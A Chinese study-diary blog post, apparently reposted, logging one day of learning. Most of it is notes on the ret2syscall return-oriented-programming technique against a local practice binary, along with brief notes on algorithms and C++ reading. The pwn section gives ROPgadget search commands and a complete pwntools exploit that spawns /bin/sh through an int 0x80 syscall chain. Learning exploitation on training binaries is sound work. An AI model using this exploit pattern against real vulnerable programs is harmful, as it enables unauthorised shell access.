9-6(6-2?)学习打卡(6.17)
Posted 水番正文
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了9-6(6-2?)学习打卡(6.17)相关的知识,希望对你有一定的参考价值。
显然,我应该前一天规划好第二天的时间分配,不会造成时间浪费,今天很多时间没有利用上,突然想起还有考试(学校里的选修课真是让人失望),每日一个时间管理小技巧。--6.17
6.17 To do list:
1.每日Pwn学习
2.算法导论阅读90分钟
3.Cpp阅读完第三章(如果有时间做一下练习)
一:每日Pwn学习
Ret2syscall是ROP(代码复用技术)中的一种
后面的ret要跳到下一个语句
框起来的是代码,在里面找这样的语句,然后传入栈空间
ROPgadget使用方法
在获得返回偏移地址后,就要明确目标
如何去拼凑这些内容
首先找pop eax;ret
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "eax"
PS:找pop和ret连起来的指令,指定寄存器为eax
第二找pop ebx;pop ecx;pop ebx;ret
ROPgadget --binary ./ret2syscall --only "pop|ret" | grep "ebx" | grep "ecx" | grep "edx
Q:这里的一个疑问,为什么不可以把eax一起放进来找
A:因为没有同时eax ebx ecx edx
第三找ebx要传入的参数
Q:这里为什么是string
A:
1.因为这是要传入的参数,不是要执行的语句,所以在哪个段都行,用string
2.only是必须要可执行段的代码才行
Q:为什么不像其他参数一样写在payload
A:猜测是栈一行存不下/bin/sh,原理是数据存放在一个地址,当栈需要时指向那个地址提取出/bin/sh
第四找Int
ROPgadget --binary ./ret2syscall --only "int" | grep "0x80"
总结来说--only "xxx" 里面的数据一般是我们要找的指令,grep后面跟的是指令后的参数
context给整个脚本整体基调设定一个默认值,就算没加p32也会自动补上
然后就是动态调试下这个程序
提前是在发现payload前写个pause()
然后进入程序发现在kernel函数下
finish结束(finish:结束当前函数)
然后就等我们发送payload了
在程序那按下回车发现payload
然后就成功发送payload
这边进程是在nocancel下继续finish结束
几次finish后,到了gets函数,gets用来获取我们的payload,按finish结束gets
然后就到了结束这个程序的指令处
leave函数执行完后恢复栈帧,ret到了我们的传入的第一个地址
包括我们的数据也都在栈里
继续n向下执行成功pang
exp.py!
from pwn import *
context(arch = "i386" , os = "linux")
p = process("./ret2syscall")
offset = 112
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
payload = "P" * offset + pop_eax + p32(0xb) + pop_edx_ecx_ebx + p32(0) + p32(0) + bin_sh + int_0x80
pause()
p.sendline(payload)
p.interactive()
牢记栈是栈,代码是代码,我们把payload传入,ret2到我们的pop_eax(后面是有ret的),当pop eax弹出栈的第一条数据,又执行ret,调用我们栈顶的数据也就是pop_edx_ecx_ebx
二:算法导论
看到第四十一页,现在在讲找到最小子数组,挺有意思,越发感觉这书是个经典。
三:CPP
已看完第三章。
明天又是早起的一天,睡了睡了~
以上是关于9-6(6-2?)学习打卡(6.17)的主要内容,如果未能解决你的问题,请参考以下文章